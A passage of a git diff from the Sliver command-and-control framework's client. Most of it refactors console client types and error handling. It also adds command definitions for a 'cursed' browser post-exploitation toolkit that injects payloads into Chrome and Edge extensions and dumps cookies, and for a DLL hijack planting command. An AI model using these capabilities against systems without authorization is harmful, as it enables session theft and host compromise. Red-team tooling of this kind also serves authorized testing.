printCollection(collection string, creds []*clientpb.Credential, con *conso } // CredsHashTypeCompleter completes hash types. -func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action { +func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := make([]string, 0) @@ -101,8 +102,8 @@ func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action { }) } -// CredsHashFileFormatCompleter completes file formats for hash-files -func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action { +// CredsHashFileFormatCompleter completes file formats for hash-files. +func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionValuesDescribed( UserColonHashNewlineFormat, "One hash per line.", HashNewlineFormat, "A file containing lines of 'username:hash' pairs.", @@ -110,17 +111,21 @@ func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Act ).Tag("hash file formats") } -// CredsCollectionCompleter completes existing creds collection names -func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action { +// CredsCollectionCompleter completes existing creds collection names. +func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch credentials: %s", err.Error()) + return carapace.ActionMessage("failed to fetch credentials: %s", con.UnwrapServerErr(err)) } if len(creds.Credentials) == 0 { - return carapace.Action{} + return carapace.ActionMessage("No credentials in database") } for _, cred := range creds.Credentials { @@ -134,16 +139,20 @@ func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action } // CredsCredentialIDCompleter completes credential IDs. -func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("failed to fetch credentials: %s", err.Error()) + return carapace.ActionMessage("failed to fetch credentials: %s", con.UnwrapServerErr(err)) } if len(creds.Credentials) == 0 { - return carapace.Action{} + return carapace.ActionMessage("No credentials in database") } for _, cred := range creds.Credentials { @@ -177,6 +186,7 @@ func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Actio } - return carapace.ActionValuesDescribed(results...).Tag("credentials") + return carapace.ActionValuesDescribed(results...).Tag("credentials"). + Invoke(c).Filter(c.Args...).ToA() }) } diff --git a/client/command/creds/rm.go b/client/command/creds/rm.go index c119f0efd1..8b3ec05497 100644 --- a/client/command/creds/rm.go +++ b/client/command/creds/rm.go @@ -20,46 +20,78 @@ package creds import ( "context" + "strings" + + "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) -// CredsCmd - Add new credentials -func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - var id string +// CredsCmd - Add new credentials. +func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if len(args) > 0 { - id = args[0] - } - if id == "" { - credential, err := SelectCredential(false, clientpb.HashType_INVALID, con) + creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } - id = credential.ID - } - _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ - Credentials: []*clientpb.Credential{ - { - ID: id, + + if len(creds.Credentials) == 0 { + con.PrintInfof("No credentials 🙁\n") + return + } + + for _, arg := range args { + for _, cred := range creds.GetCredentials() { + if strings.HasPrefix(cred.ID, arg) { + _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ + Credentials: []*clientpb.Credential{ + { + ID: cred.ID, + }, + }, + }) + if err != nil { + con.PrintErrorf("Failed to delete credential: %s\n", con.UnwrapServerErr(err)) + return + } + } + } + } + } else { + var id string + if id == "" { + credential, err := SelectCredential(false, clientpb.HashType_INVALID, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + + id = credential.ID + } + _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ + Credentials: []*clientpb.Credential{ + { + ID: id, + }, }, - }, - }) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - if len(creds.Credentials) == 0 { - con.PrintInfof("No credentials 🙁\n") - return + }) + if err != nil { + con.PrintErrorf("Failed to delete credential: %s\n", con.UnwrapServerErr(err)) + return + } + + creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + if len(creds.Credentials) == 0 { + con.PrintInfof("No credentials 🙁\n") + return + } + PrintCreds(creds.Credentials, con) } - PrintCreds(creds.Credentials, con) } diff --git a/client/command/creds/select.go b/client/command/creds/select.go index a375937aa0..2ebde7b5ee 100644 --- a/client/command/creds/select.go +++ b/client/command/creds/select.go @@ -15,19 +15,19 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// SelectCredential - Interactive menu for the user to select a credentials from the database -func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) { +// SelectCredential - Interactive menu for the user to select a credentials from the database. +func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) { var creds *clientpb.Credentials var err error if hashType == clientpb.HashType_INVALID { creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } } else { creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } } if len(creds.Credentials) == 0 { diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go new file mode 100644 index 0000000000..c4b518a142 --- /dev/null +++ b/client/command/cursed/commands.go @@ -0,0 +1,155 @@ +package cursed + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + cursedCmd := &cobra.Command{ + Use: consts.Cursed, + Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + // Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + Long: help.GetHelpFor([]string{consts.Cursed}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + CursedCmd(cmd, con, args) + }, + } + flags.Bind("", true, cursedCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + cursedRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a Curse from a process", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CursedRmCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedRmCmd) + flags.Bind("", false, cursedRmCmd, func(f *pflag.FlagSet) { + f.BoolP("kill", "k", false, "kill the process after removing the curse") + }) + carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop")) + + cursedConsoleCmd := &cobra.Command{ + Use: consts.CursedConsole, + Short: "Start a JavaScript console connected to a debug target", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), + Run: func(cmd *cobra.Command, args []string) { + CursedConsoleCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedConsoleCmd) + flags.Bind("", false, cursedConsoleCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`") + }) + + cursedChromeCmd := &cobra.Command{ + Use: consts.CursedChrome, + Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}), + Run: func(cmd *cobra.Command, args []string) { + CursedChromeCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedChromeCmd) + flags.Bind("", false, cursedChromeCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + f.BoolP("restore", "R", true, "restore the user's session after process termination") + f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)") + f.StringP("user-data", "u", "", "user data directory (blank string = auto)") + f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") + f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") + f.BoolP("headless", "H", false, "start browser process in headless mode") + }) + completers.NewFlagCompsFor(cursedChromeCmd, func(comp *carapace.ActionMap) { + (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") + }) + cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments")) + + cursedEdgeCmd := &cobra.Command{ + Use: consts.CursedEdge, + Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}), + Run: func(cmd *cobra.Command, args []string) { + CursedEdgeCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedEdgeCmd) + flags.Bind("", false, cursedEdgeCmd, func(f *pflag.FlagSet) { + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + f.BoolP("restore", "R", true, "restore the user's session after process termination") + f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)") + f.StringP("user-data", "u", "", "user data directory (blank string = auto)") + f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") + f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") + f.BoolP("headless", "H", false, "start browser process in headless mode") + }) + completers.NewFlagCompsFor(cursedEdgeCmd, func(comp *carapace.ActionMap) { + (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") + }) + cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments")) + + cursedElectronCmd := &cobra.Command{ + Use: consts.CursedElectron, + Short: "Curse a remote Electron application", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}), + Run: func(cmd *cobra.Command, args []string) { + CursedElectronCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedElectronCmd) + flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) { + f.StringP("exe", "e", "", "remote electron executable absolute path") + f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + }) + cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments")) + + CursedCookiesCmd := &cobra.Command{ + Use: consts.CursedCookies, + Short: "Dump all cookies from cursed process", + Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}), + Run: func(cmd *cobra.Command, args []string) { + CursedCookiesCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(CursedCookiesCmd) + flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save to file") + }) + completers.NewFlagCompsFor(CursedCookiesCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) + + cursedScreenshotCmd := &cobra.Command{ + Use: consts.ScreenshotStr, + Short: "Take a screenshot of a cursed process debug target", + Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}), + Run: func(cmd *cobra.Command, args []string) { + CursedScreenshotCmd(cmd, con, args) + }, + } + cursedCmd.AddCommand(cursedScreenshotCmd) + flags.Bind("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) { + f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)") + f.StringP("save", "s", "", "save to file") + }) + + return []*cobra.Command{cursedCmd} +} diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index 04cfa2146d..33a42c9241 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -51,8 +51,8 @@ var ( cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking} ) -// CursedChromeCmd - Execute a .NET assembly in-memory -func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CursedChromeCmd - Execute a .NET assembly in-memory. +func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -112,7 +112,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { chromeProcess, err := getChromeProcess(session, cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -138,7 +138,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons Pid: chromeProcess.GetPid(), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -154,7 +154,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons return curse } -func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) { +func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { name := "Chrome" if isEdge { name = "Edge" @@ -207,7 +207,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra }) if err != nil { con.Printf("failure!\n") - return nil, err + return nil, con.UnwrapServerErr(err) } con.Printf("(pid: %d) success!\n", chromeExec.GetPid()) @@ -254,7 +254,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra return curse, nil } -func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { userDataFlag, _ := cmd.Flags().GetString("user-data") if userDataFlag != "" { return userDataFlag, nil @@ -277,7 +277,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co Path: userDataDir, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return userDataDir, nil @@ -295,7 +295,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co Path: userDataDir, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return userDataDir, nil @@ -307,7 +307,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co } } -func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { exeFlag, _ := cmd.Flags().GetString("exe") if exeFlag != "" { return exeFlag, nil @@ -342,7 +342,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: chromeExecutablePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return chromeExecutablePath, nil @@ -362,7 +362,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: defaultChromePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return defaultChromePath, nil @@ -388,7 +388,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra Path: chromePath, }) if err != nil { - return "", err + return "", con.UnwrapServerErr(err) } if ls.GetExists() { return chromePath, nil @@ -417,12 +417,12 @@ func isChromeProcess(executable string) bool { return false } -func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go index 046bb45308..f70bdcb42a 100644 --- a/client/command/cursed/cursed-console.go +++ b/client/command/cursed/cursed-console.go @@ -35,7 +35,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return @@ -56,7 +56,7 @@ func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args startCursedConsole(curse, true, target, con) } -func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget { +func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverClient) *overlord.ChromeDebugTarget { if len(targets) < 1 { con.PrintErrorf("No debug targets\n") return nil @@ -94,7 +94,7 @@ var helperHooks = []string{ "console.log = (...a) => {return a;}", // console.log } -func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) { +func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverClient) { tmpFile, _ := os.CreateTemp("", "cursed") shell := readline.NewShell() shell.History.AddFromFile("cursed history", tmpFile.Name()) diff --git a/client/command/cursed/cursed-cookies.go b/client/command/cursed/cursed-cookies.go index 59859771d0..a2f46dfa4e 100644 --- a/client/command/cursed/cursed-cookies.go +++ b/client/command/cursed/cursed-cookies.go @@ -30,7 +30,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return diff --git a/client/command/cursed/cursed-edge.go b/client/command/cursed/cursed-edge.go index a83da8c2f3..acf82236e9 100644 --- a/client/command/cursed/cursed-edge.go +++ b/client/command/cursed/cursed-edge.go @@ -21,7 +21,6 @@ package cursed import ( "context" "os" - "strings" "github.com/AlecAivazis/survey/v2" @@ -35,8 +34,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// CursedChromeCmd - Execute a .NET assembly in-memory -func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CursedChromeCmd - Execute a .NET assembly in-memory. +func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -96,7 +95,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } } -func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { edgeProcess, err := getEdgeProcess(session, cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -122,7 +121,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol Pid: edgeProcess.GetPid(), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -153,12 +152,12 @@ func isEdgeProcess(executable string) bool { return false } -func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go index 1d11bc2422..7d9d89c5ec 100644 --- a/client/command/cursed/cursed-electron.go +++ b/client/command/cursed/cursed-electron.go @@ -38,7 +38,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -68,7 +68,7 @@ func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets)) } -func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { exists, err := checkElectronPath(electronExe, session, cmd, con) if err != nil { con.PrintErrorf("%s", err) @@ -103,7 +103,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co Pid: electronProcess.Pid, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return nil } if terminateResp.Response != nil && terminateResp.Response.Err != "" { @@ -119,23 +119,23 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co return curse } -func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) { +func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) { ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ Request: con.ActiveTarget.Request(cmd), Path: electronExe, }) if err != nil { - return false, err + return false, con.UnwrapServerErr(err) } return ls.GetExists(), nil } -func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } for _, process := range ps.Processes { if process.GetOwner() != session.GetUsername() { @@ -148,7 +148,7 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *co return nil, nil } -func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) { +func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { con.PrintInfof("Starting '%s' ... ", path.Base(electronExe)) debugPort := getRemoteDebuggerPort(cmd) args := []string{ @@ -169,7 +169,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c }) if err != nil { con.Printf("failure!\n") - return nil, err + return nil, con.UnwrapServerErr(err) } con.Printf("(pid: %d) success!\n", electronExec.GetPid()) diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go index 3220557f23..4808fd6886 100644 --- a/client/command/cursed/cursed-rm.go +++ b/client/command/cursed/cursed-rm.go @@ -30,7 +30,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -71,7 +71,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Pid: int32(cursedProc.PID), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if terminateResp.Response != nil && terminateResp.Response.Err != "" { diff --git a/client/command/cursed/cursed-screenshot.go b/client/command/cursed/cursed-screenshot.go index d6cc8dc4ca..237ccf6908 100644 --- a/client/command/cursed/cursed-screenshot.go +++ b/client/command/cursed/cursed-screenshot.go @@ -29,7 +29,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go index fe81219f6d..017c5c7ac5 100644 --- a/client/command/cursed/cursed.go +++ b/client/command/cursed/cursed.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// CursedChromeCmd - Execute a .NET assembly in-memory -func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CursedChromeCmd - Execute a .NET assembly in-memory. +func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // Collect existing curses from core cursedProcesses := [][]string{} core.CursedProcesses.Range(func(key, value interface{}) bool { @@ -55,6 +55,7 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri if 0 < len(cursedProcesses) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL", }) @@ -71,8 +72,8 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } } -// selectCursedProcess - Interactively select a cursed process from a list -func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess { +// selectCursedProcess - Interactively select a cursed process from a list. +func selectCursedProcess(con *console.SliverClient) *core.CursedProcess { cursedProcesses := []*core.CursedProcess{} core.CursedProcesses.Range(func(key, value interface{}) bool { cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess)) diff --git a/client/command/dllhijack/commands.go b/client/command/dllhijack/commands.go new file mode 100644 index 0000000000..db5e4ad9b6 --- /dev/null +++ b/client/command/dllhijack/commands.go @@ -0,0 +1,44 @@ +package dllhijack + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + dllhijackCmd := &cobra.Command{ + Use: consts.DLLHijackStr, + Short: "Plant a DLL for a hijack scenario", + Long: help.GetHelpFor([]string{consts.DLLHijackStr}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + DllHijackCmd(cmd, con, args) + }, + } + flags.Bind("", false, dllhijackCmd, func(f *pflag.FlagSet) { + f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system") + f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system") + f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack") + f.StringP("profile", "p", "", "Profile name to use as a base DLL") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(dllhijackCmd, func(comp *carapace.ActionMap) { + (*comp)["reference-file"] = carapace.ActionFiles() + (*comp)["file"] = carapace.ActionFiles() + (*comp)["profile"] = generate.ProfileNameCompleter(con) + }) + carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system")) + + return []*cobra.Command{dllhijackCmd} +} diff --git a/client/command/dllhijack/dllhijack.go b/client/command/dllhijack/dllhijack.go index fe11066b15..8fb4e7aecc 100644 --- a/client/command/dllhijack/dllhijack.go +++ b/client/command/dllhijack/dllhijack.go @@ -33,8 +33,8 @@ import ( // dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH -// DllHijackCmd -- implements the dllhijack command -func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// DllHijackCmd -- implements the dllhijack command. +func DllHijackCmd(cmd 